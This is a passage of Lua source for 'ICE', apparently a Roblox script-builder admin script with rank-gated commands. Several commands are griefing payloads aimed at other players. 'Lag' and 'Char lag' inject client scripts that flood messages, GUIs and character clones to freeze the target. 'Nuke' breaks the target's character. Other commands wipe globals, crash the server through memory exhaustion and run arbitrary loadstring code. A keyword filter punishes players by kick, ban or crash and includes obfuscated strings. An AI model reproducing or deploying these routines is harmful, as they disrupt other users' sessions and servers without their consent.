- ICE.Command('Banish','ban',4,'Bans #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.Ranked[v.Name].Rank=-1
- v:Destroy()
- end
- end
- )
- ICE.Command('Unban','unban',4,'Unbans Player','Player',
- function(Msg,Speaker)
- for i,v in pairs(ICE.Ranked) do
- if i:lower():sub(1,#Msg)==Msg:lower() then
- v.Rank=0
- end
- end
- end
- )
- --[[ Rank 5 ]]--
- ICE.Command('Lag','lag',5,'Lags #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- ICE.CreateLocalScript(
- [[
- script.Parent=nil
- LocalPlayer = game:service'Players'.LocalPlayer
- Camera=Workspace.CurrentCamera
- LocalPlayer.CameraMode = Enum.CameraMode.Classic
- wait()
- function buildGui()
- local guitable = {}
- guitable['Output'] = Instance.new('ScreenGui')
- guitable['Output'].Name = 'Output'
- guitable['ImageLabel'] = Instance.new('ImageLabel', guitable['Output'])
- guitable['ImageLabel'].Position = UDim2.new(0.11999998986721, 0, 0.14999996125698, 0)
- guitable['ImageLabel'].Size = UDim2.new(0.89999997615814, 0, 0.30000001192093, 0)
- guitable['ImageLabel'].BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
- guitable['ImageLabel'].BackgroundTransparency = 1
- guitable['ImageLabel'].Image = 'http://www.roblox.com/asset/?id=117512375'
- return guitable['Output']
- end
- local GuiLag=buildGui()
- coroutine.wrap(function()
- for a=1,10 do wait()
- coroutine.wrap(function()
- for b=1,10 do wait()
- for c=1,10 do
- for d=1,10 do
- Msg=Instance.new'Message'
- Hint=Instance.new'Hint'
- PG=game.Players.LocalPlayer:findFirstChild'PlayerGui' or Instance.new('PlayerGui',game.Players.LocalPlayer)
- Msg.Parent,Hint.Parent,GuiLag:clone().Parent=Workspace,Workspace.CurrentCamera,PG or Camera
- Msg.Text,Hint.Text=string.rep("\t ",365),string.rep("\t ",365)
- -- Derpis()
- if LocalPlayer.CameraMode ~= Enum.CameraMode.LockFirstPerson then LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson end
- pcall(function() loadstring(script:FindFirstChild("Source").Value or script:FindFirstChild("source").Value or script:FindFirstChild("DSource").Value)() end)
- end
- end
- end
- end)()
- end
- end)()
- ]],v.Character)
- end
- end
- )
- ICE.Command('Char lag','clag',5,'Char lags #Player','#Player',
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- pcall(function()
- ICE.CreateLocalScript([=[
- ICE={
- ['Services']={};
- };
- for i,v in pairs(game:children()) do ICE.Services[v.Name]=v end
- script.Parent=nil
- NormalColor=Color3.new(BrickColor.random())
- local LocalPlayer,Source,Camera,Workspace=ICE.Services.Players.LocalPlayer,script:children()[1],ICE.Services.Workspace.CurrentCamera,game:service'Workspace'
- coroutine.wrap(function()
- while wait() do
- for a=1,100 do wait()
- for aa=1,20 do wait()
- for aaa=1,10 do wait()
- for aaaa=1,5 do wait()
- --for b=1,20 do wait()
- -- for c=1,10 do wait()
- -- for d=1,5 do wait()
- -- for e=1,2 do wait()
- -- local Msg=Instance.new'Message'
- -- local Part=Instance.new'Part'
- -- local Hint=Instance.new'Hint'
- local Char=Instance.new'Model'
- if ICE.Services.Players.LocalPlayer.Character==nil then ICE.Services.Players.LocalPlayer.Character=Instance.new'Model' end
- for i,v in pairs(LocalPlayer.Character:children()) do v:Clone().Parent=Char end
- Char:MakeJoints()
- if LocalPlayer:findFirstChild'PlayerGui'==nil then Instance.new'PlayerGui'.Parent=LocalPlayer end
- if Char.Archivable==true then Char.Archivable=false end
- local Mod,Part,Color,Text=Char,Char.Head,NormalColor,"I'm being lagged!"
- local BBG = Instance.new("BillboardGui",Mod)
- BBG.Name = "BBG"
- BBG.StudsOffset = Vector3.new(0,4.5,0)
- BBG.Size = UDim2.new(10,0,10,0)
- local Label = Instance.new("TextLabel",BBG)
- Label.Name = "Label"
- Label.Text = ""
- Label.TextColor3 = Color3.new(-1,-1,-1)
- Label.FontSize = "Size24"
- Label.BackgroundTransparency = 1
- Label.TextStrokeTransparency = 0.5
- Label.Size = UDim2.new(1,0,1,0)
- Label.TextStrokeColor3 = Color
- local Sel=Instance.new'SelectionBox'
- Sel.Name='Lag'
- Sel.Parent=Char.Head
- Sel.Adornee=Sel.Parent
- Sel.Color=BrickColor.random()
- -- Msg.Text='You bein lagged bish'
- -- Hint.Text=Msg.Text
- -- Part.Parent=Workspace.CurrentCamera
- -- Msg.Parent=Workspace
- -- Hint.Parent=Workspace
- Char.Parent=workspace.CurrentCamera
- Char:MakeJoints();
- --[[ local GuiLag=Instance.new('ScreenGui')GuiLag = Instance.new("ScreenGui")
- GuiLag.Name = "Output"
- Blind = Instance.new("ImageButton", GuiLag)
- Blind.Name = "Blind"
- Blind.Position = UDim2.new(-0.10000000149012, 0, -0.10000000149012, 0)
- Blind.Size = UDim2.new(1.1000000238419, 0, 1.1000000238419, 0)
- Blind.BackgroundColor3 = Color3.new(0, 0, 0)
- ImageLabel = Instance.new("ImageLabel", Blind)
- ImageLabel.Position = UDim2.new(0.41999998688698, 0, 0.84999996423721, 0)
- ImageLabel.Size = UDim2.new(0.20000000298023, 0, 0.10000000149012, 0)
- ImageLabel.BackgroundColor3 = Color3.new(0.68235296010971, 0.678431391716, 0.69019609689713)
- ImageLabel.BackgroundTransparency = 1
- ImageLabel.Image = "http://www.roblox.com/asset/?id=112875964"
- TextLabel = Instance.new("TextLabel", Blind)
- TextLabel.Position = UDim2.new(0.27000001072884, 0, 0.74000000953674, 0)
- TextLabel.Size = UDim2.new(0.5, 0, 0.10000000149012, 0)
- TextLabel.BackgroundColor3 = Color3.new(0.031372550874949, 0.031372550874949, 0.035294119268656)
- TextLabel.Text = "Your Being Lagged"
- TextLabel.FontSize = Enum.FontSize.Size36
- TextLabel.TextWrapped = true
- TextLabel.Active = true
- GuiLag.Parent=ICE.Services.Players.LocalPlayer.PlayerGui
- --]] LocalPlayer.CameraMode = Enum.CameraMode.Classic
- wait()
- LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
- -- Instance.new("Message",Camera).Text = string.rep("\t ",365)
- -- Instance.new('Hint',Camera).Text=("\t "):rep(365)
- -- end
- -- end
- -- end
- -- end
- end
- end
- end
- end
- end
- end)()
- ]=],v.Character)
- end)
- end
- end
- )
- ICE.Command("Nuke","nuke",5,"Nukes the selected player.","<Player>",
- function(Msg,Speaker)
- for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
- local Position = v.Character.Torso.Position
- local Sound = Instance.new("Sound", workspace)
- Sound.SoundId = "http://www.roblox.com/Asset/?id=2101159"
- Sound.Volume = 1
- Sound.Pitch = math.random(90, 110) / 100
- Sound:Play()
- local Sound = Instance.new("Sound", workspace)
- Sound.SoundId = "http://www.roblox.com/Asset/?id=3087031"
- Sound.Volume = 1
- Sound.Pitch = math.random(90, 110) / 100
- Sound:Play()
- for i = 1, math.random(5, 7) do
- local ExplosionBall = Instance.new("Part", game:service("Workspace"))
- ExplosionBall.Name = "Explosion Ball"
- ExplosionBall.formFactor = "Custom"
- ExplosionBall.TopSurface = 0
- ExplosionBall.BottomSurface = 0
- ExplosionBall.Anchored = true
- ExplosionBall.CanCollide = false
- ExplosionBall.Size = Vector3.new(1, 1, 1)
- ExplosionBall.BrickColor = BrickColor.random()
- ExplosionBall.CFrame = CFrame.new(Position)
- ExplosionBall.Touched:connect(function(part) if part:IsDescendentOf(v.Character) then part:BreakJoints() end end)
- Instance.new("SpecialMesh", ExplosionBall).MeshType = "Sphere"
- coroutine.wrap(function()
- for i = 0, 1, 0.005 do
- ExplosionBall.Transparency = (1 - i)
- ExplosionBall.Mesh.Scale = Vector3.new(i * 250, i * 250, i * 250)
- ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i))
- if math.random(1, 25) == 1 then
- local Explosion = Instance.new("Explosion")
- Explosion.Position = ExplosionBall.Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * i)
- Explosion.BlastPressure = 10000 * i
- Explosion.BlastRadius = i * 250
- Explosion.Parent = game:service("Workspace")
- end
- wait()
- end
- for i = 0, 1, 0.05 do
- ExplosionBall.Transparency = i
- ExplosionBall.CFrame = CFrame.new(Position + (Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1 - i)))
- wait()
- end
- ExplosionBall:Remove()
- end)()
- end
- end
- end
- )
- --[[ Rank 6 ]]--
- ICE.Command("ICE Clear","ICE",6,"Clears the game.","No Arguments",
- function(Msg,Speaker)
- for i,v in pairs(_G) do
- if type(v) == 'function' and getfenv(v).ICE == nil then
- for var,val in pairs(getfenv(v)) do
- pcall(function() getfenv(v)[var] = nil end)
- end
- end
- end
- for i,v in pairs(_G) do
- _G[i] = nil
- end
- for _,v in pairs(ICE.Services) do
- v.Name = 'Unknown Exception'
- end
- for i,v in pairs(game.Workspace:children()) do
- pcall(function()
- if not v:IsA("Player") then
- pcall(function()
- if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
- else
- pcall(function()
- v.Disabled = true
- end)
- pcall(function()
- ICE.Services.Debris:AddItem(v,0)
- end)
- end
- end)
- end
- end)
- end
- for _,v in pairs(ICE.Services) do
- v.Name = v.className
- end
- local Base=Instance.new("Part",ICE.Services.Workspace)
- Base.Name='Base'
- Base.Size=Vector3.new(2048,1,2048)
- Base.BrickColor=BrickColor.new("Bright blue")
- Base.Anchored=true
- Base.Locked=true
- Base.TopSurface='Smooth'
- Base.Transparency = 0.75
- Base.CFrame=CFrame.new(Vector3.new(0,0,0))
- local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
- Spawn.Size=Vector3.new(6,1,6)
- Spawn.Transparency=0.75
- Spawn.CanCollide=false
- Spawn.Anchored=true
- Spawn.Locked=true
- Spawn.BrickColor=BrickColor.new'Royal purple';
- Spawn.Parent=Base
- Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
- SpawnSel,BaseSel=Instance.new'SelectionBox',Instance.new'SelectionBox'
- SpawnSel.Parent,BaseSel.Parent=Spawn,Base
- SpawnSel.Adornee,BaseSel.Adornee=Spawn,Base
- SpawnSel.Color,BaseSel.Color=Spawn.BrickColor,Base.BrickColor
- for _,v in pairs(ICE.GetPlayers()) do v:LoadCharacter() end
- end
- )
- --[[ Rank 7 ]]--
- ICE.Command('Shutdown','sd',7,'Shuts the server down','No arguments',
- function(Msg,Speaker)
- Msg=Instance.new'Message'
- for i=1,60 do
- Msg.Parent=ICE.Services.Workspace
- Msg.Text = 60 - i .. ' seconds left before server shuts down'
- wait(1)
- end
- loadstring([[
- repeat
- Instance.new('StringValue',Workspace).Value=("Nou"):re]]..[[p(1000000)
- wait()
- until ICE.Removed==false
- ]])()
- end
- )
- ICE.Command('Print','print',7,'Prints the msg','msg',
- function(Msg,Speaker)
- ICE.Output(tostring(loadstring("return " .. Msg)()),'Red',Speaker)
- end
- )
- --[[ Rank 8 ]]--
- ICE.Command('Cancel/break loops','cancel',8,'Cancles the loops','wait timer before loops cancel',
- function(Msg,Spkr)
- if tonumber(Msg) then
- wait(tonumber(Msg))
- end
- ICE.Cancel=true;
- wait(1)
- ICE.Cancel=false;
- end
- )
- ICE.Command('Break scripts','break',8,'Breaks scripts in workspace','no arguments',
- function(msg,speaker)
- except=false;
- if msg=="except me" then
- except=true
- end
- RecursiveScripts=function(Parent)
- Child={}
- for i,v in pairs(Parent:children()) do
- if v:IsA'Script' or v:IsA'LocalScript' then
- Child[#Child+1]=v
- end
- for ii,vv in pairs(RecursiveScripts(v)) do
- Child[#Child+1]=vv
- end
- end
- return Child
- end;
- for i,v in pairs(RecursiveScripts(ICE.Services.Workspace)) do
- if v:findFirstChild'Owner' and except==true then
- if v.Owner.Name==speaker.Name then
- return
- end
- end
- v.Disabled=true;
- v:ClearAllChildren();
- game:service'Debris':AddItem(v,0)
- end
- end
- )
- --[[ Rank 10 ]]--
- ICE.Command('Remove ICE','cremove',10,'Removes ICE','No arguments',
- function(Msg,Speaker)
- coroutine.wrap(function()
- ICE.Removed=true
- ICE.Output('ICE now removed!','Red',Speaker,3)
- local End=Instance.new'StringValue'
- End.Name='Ender'
- End.Value=ICE.Ender
- End.Parent=ICE.Services.Lighting
- for _,v in pairs(ICE.Services.Players:GetPlayers()) do ICE.RemoveTablets(v) ICE.SaveData(v) end
- End:Destroy()
- end)()
- end
- )
- ICE.Command('Lock scripts','lockscr',10,'Locks Scripting','No arguments',
- function()
- ICE.LockedScripts=true
- end
- )
- ICE.Command('Un-Lock scripts','unlockscr',10,'Un-Locks Scripting','No arguments',
- function()
- ICE.LockedScripts=false
- end
- )
- ICE.Command('Execute','exe',10,'Executes a line of coding','code',
- function(Msg,Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end ICE.Output(Rtn,"White",Speaker) end
- getfenv(Func).Speaker = Speaker
- getfenv(Func).ICE=ICE;
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- ICE.Output("Script ran successfully!","Green",Speaker,3)
- else
- ICE.Output(Error,"Red",Speaker,5)
- end
- end
- )
- ICE.Command('System msg','sm',10,'System msg','Text',
- function(Text,Speaker)
- ICE.SystemMsg(Text)
- end
- )
- ICE.Command('Fix chat','fc',10,'Fixes chats for everyone','No arguments',
- function()
- for _,v in pairs(game:service'Players':GetPlayers()) do
- ICE.FixChat(v);
- end
- end
- )
- --[[ Connections ]]--
- game:service'RunService'.Stepped:connect(function() if ICE.Removed==false then ICE.Rotate() end end)
- for _,v in pairs(ICE.Services.Players:GetPlayers()) do
- ICE.Connect(v)
- end
- ICE.Services.Players.PlayerAdded:connect(function(r) if ICE.Removed==false then ICE.Connect(r) end end)
- ICE.Services.Players.PlayerRemoving:connect(function(v) ICE.RemoveTablets(v) if ICE.Removed==false and ICE.DataSaving==true then ICE.SaveData(v) end end)
- --[[ End of Connections ]]--
- for _,Service in pairs(ICE.Services) do
- pcall(function()
- Service.DescendantAdded:connect(function(v)
- if v:IsA("BaseScript") and ICE.LockedScripts == true and ICE.Removed == false then
- pcall(function()
- if game.PlaceId == 20279777 or game.PlaceId == 20132544 or v:findFirstChild('Owner') then-- For /scr/ Cmd --game.PlaceId == 20279777 or game.PlaceId == 20132544 then
- if ICE.GetRank(v.Owner.Value) <= 0 then
- pcall(function() v.Disabled = true end)
- pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
- pcall(function() v.Disabled = false end)
- pcall(function() v:Destroy() end)
- end
- elseif game.PlaceId ==54194680 then
- if ICE.GetRank(v.user.Value) <= 0 then
- pcall(function() v.Disabled = true end)
- pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
- pcall(function() v.Disabled = false end)
- pcall(function() v:Destroy() end)
- end
- else
- pcall(function() v.Disabled = true end)
- pcall(function() v:FindFirstChild("Source").Value = ICE.Disabler end)
- pcall(function() v:FindFirstChild("DSource").Value =ICE.Disabler end)
- pcall(function() v.Disabled = false end)
- pcall(function() v:Destroy() end)
- end
- end)
- end
- end)
- end)
- end
- for _,v in pairs(script:children()) do
- if v:IsA'StringValue' then
- v.Value="error('No value for you',0)()"
- end
- end
- script:ClearAllChildren();
- ICE.Filter=function(Phrase,Bypass,Punishment,Reason)
- if Punishment == nil then Punishment = 0 end
- if type(Punishment) == 'string' then
- if Punishment=='Kill' then Punishment=0 end
- if Punishment=='K'..'ick' then Punishment=1 end
- if Punishment=='Shutdown' then Punishment = 2 end
- if Punishment=='Crash' then Punishment = 3 end
- if Punishment=='B'..'an' then Punishment=4 end
- if Punishment=='Lag' then Punishment=5 end
- end
- ICE.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason}
- end
- ICE.Filter('function l'..'ag()',9,'Ban','Lag attempt')
- ICE.Filter('iO'..'rb',2,2,'Abusive')
- ICE.Filter('iCm'..'d={}',2,2,'iOrb')
- ICE.Filter('game.Players:ClearAllChildren',2,4,"Kick attempt")
- ICE.Filter('ClonyPooP'..'oo',2,2,'ICEAdminLeakeds Nilizer or TeamDmans KeyBindings')
- ICE.Filter("No".."va =",4,2,"Admi".."n")
- ICE.Filter("Ranked = {",4,"Ban","This is a ranked table in NOVA")
- ICE.Filter('iFl'..'ip',3,4,"Adm".."in")
- ICE.Filter("/d".."own",2,2,"Ca".."mball")
- ICE.Filter('repeat until',2,5,"Crash attempt")
- ICE.Filter('while true do end',2,5,"Crash attempt")
- ICE.Filter('string.rep',2,2,"Shuttdown attempt")
- ICE.Filter(':rep',2,2,"Shutdown attempt")
- ICE.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player")
- ICE.Filter('kick:',1,'Kick','No kicking allowed')
- ICE.Filter('ban/',2,4,"No banning allowed")
- ICE.Filter('tprivate',2,4,"No pri losah")
- ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.")
- ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU")
- ICE.Filter('p = game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ')
- ICE.Filter('CB'..'A =',2,4,"Abusive")
- ICE.Filter('Kill'..'/',1,'Kill')
- ICE.Filter('Kic'..'k'..':'..'t',2,'K'..'ick')
- ICE.Filter('swag',1,'Kill')
- ICE.Filter('yolo',1,'Kill','Well I guess he/she isnt alive now :3')
- ICE.Filter('ssj',1,'Kill',"A free model script")
- ICE.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_>
- ICE.Filter('adminlist = {',2,'Ki'..'ck','No admins allowed/Take over attempt')
- ICE.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back/Exploit attempt')
- ICE.Filter('colorAllGuisIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b/Server destroy attempt')
- ICE.Filter('Decs.Crack',1,'Kick','Masterhand/Free model')
- ICE.Filter('AquireTargets',9,'Ban','OhYa321;s N0b SB Prot(Gay) script/Take over attempt')
- ICE.Filter('GetRidOf(',9,'Ban','A function in NOVA/Take over attempt')
- game:service'Workspace'.ChildAdded:connect(function(Child)
- if Child:IsA'Model' then --
- if Child.Name=='External' then
- local Player = nil;
- for i,v in pairs(Child:children()) do if v:IsA'StringValue' and v.Value=='Player' then Player=v end end
- local Message = Child.Message.Value
- if Player then
- ICE.OnChatted(Message,Player)
- print('Message:'..Message,'Player:'..Player)
- end
- end
- end
- end) -- Mine uses cmds even fter your kicked ;)
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